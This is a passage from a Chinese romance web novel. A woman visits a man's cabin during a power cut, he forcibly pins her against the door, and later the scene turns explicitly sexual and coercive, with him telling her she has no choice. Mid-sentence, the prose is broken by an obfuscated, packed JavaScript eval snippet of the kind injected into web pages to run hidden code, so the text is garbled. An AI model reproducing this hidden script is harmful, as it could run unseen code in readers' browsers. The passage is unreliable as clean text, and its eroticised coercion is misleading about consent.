眼前依旧是一片黑暗。 下一秒,走廊处的广播声证实了她的想法。 船上电力出现短暂故障,维修工人正在进行抢修。 可等了几分钟后,灯光仍未亮起。 邬芮倏然想起什么,心底腾起一丝隐隐的不安。 她没再犹豫,换上衣服出门,找了个船上的工作人员,然后往安全通道口奔去。 站在某间房门外,邬芮扫了两眼走廊,再次确认四周无人后,她匀了匀气息,抬手敲门。 等了几秒,房门终于被打开。 屋内一片昏暗。 宗柏也站在门口觑着她,像是没料到她会在这时找上他,眼底闪过一丝讶异,语气却略带揶揄:“怎么,不是说没兴趣?” 邬芮:“……” 和乔珈絮的耳语居然被他听见了。 没兴趣还大半夜地敲他的房门。 是欲擒故纵,还是口是心非? 邬芮猜他说这句话时,心里肯定是这么想的。 她抬手晃了晃刚从工作人员那儿,拿来的充电款小夜灯:“还不是因为你……” 话说到一半,她倏忽噤了声。 昏暗的房间里好像闪着微弱的光。 邬芮越过他,往里瞧了瞧,一楼的床边亮着一盏小夜灯。 灯光有些暗淡,但应该足够他在黑暗里支撑了。 也是,他做事一向考虑周全,尤其是在发生了那样的意外之后,他又怎么可能不做任何准备…… 倒是她多虑了。 她又看回他,耸着肩哦了声:“看来你应该不需要了,我——” 话音未落,一股生硬的力道猛地扣住她的腰,将她拽进了房间。 “砰!”的一声闷响。 房门被阖上,她被他顺势抵在了门上。 肩胛骨磕上门板,脊背窜起一阵钻心的疼痛。 那股力道太重了,重得让她生出一种肩膀要被撞碎的错觉。 邬芮皱起眉,吃痛地闷哼:“干什么?!” 面前的男人缄默不语地盯着她,那双黑眸深不见底,不似往日那般冷漠,竟多了许多她看不懂,也从未见过的浓烈情绪。 丝丝缕缕,密网般落在她身上。 侵略感,独占欲都不足以形容它,因为它更陌生,也更危险。 心脏陡然一缩,呼吸几乎要停摆。 很奇怪。 他眼底这抹读不懂的情绪,竟然令她罕见地产生了一丝畏惧。 怕什么呢? 她不知道。 她只知道,只要吹开那层笼罩着云山的烟雾般的情绪,便能知晓它是云还是山,也能探知到那其中的奥秘。 但至于怎么吹开,邬芮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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邬芮闭着眼,无意识地从喉间溢出一声低低的喟叹。 好爽…… 他的指腹,他的嘴唇,他的掌心,他的气息…… 浑身上下多处不同的触感都刺激得她好爽。 “今晚睡我这儿。”宗柏也终于开口,嗓音低哑。 “不要!”她几乎是想也没想地就拒绝了。 昨晚睡得沉,被他骗也就算了。 今天这么清醒,她怎么可能再在他这里留宿一晚。 “你说的‘任我处置’,忘了?”他提出她之前咬牙切齿抛出的那项条件,力道稍重地揉了揉她微肿的唇瓣,面无表情地通知她,“邬芮,你没得选。” 他并不是在征求她的同意。 邬芮不自觉地呼吸一滞,抬眸撞上他隐在暗处的目光。 刹那间,头皮发麻发紧。 她说不出话,咽喉仿佛再度回到了他的掌心。 被桎梏,被压制,然后,无形的侵略猛地收紧。 窒息感如期而至。 宗柏也再次偏头吻住她,碾吮轻咬。 深喉式的热吻,却并没有得到回应,食指与中指不满地拍了拍她的脸:“舌头伸出来。”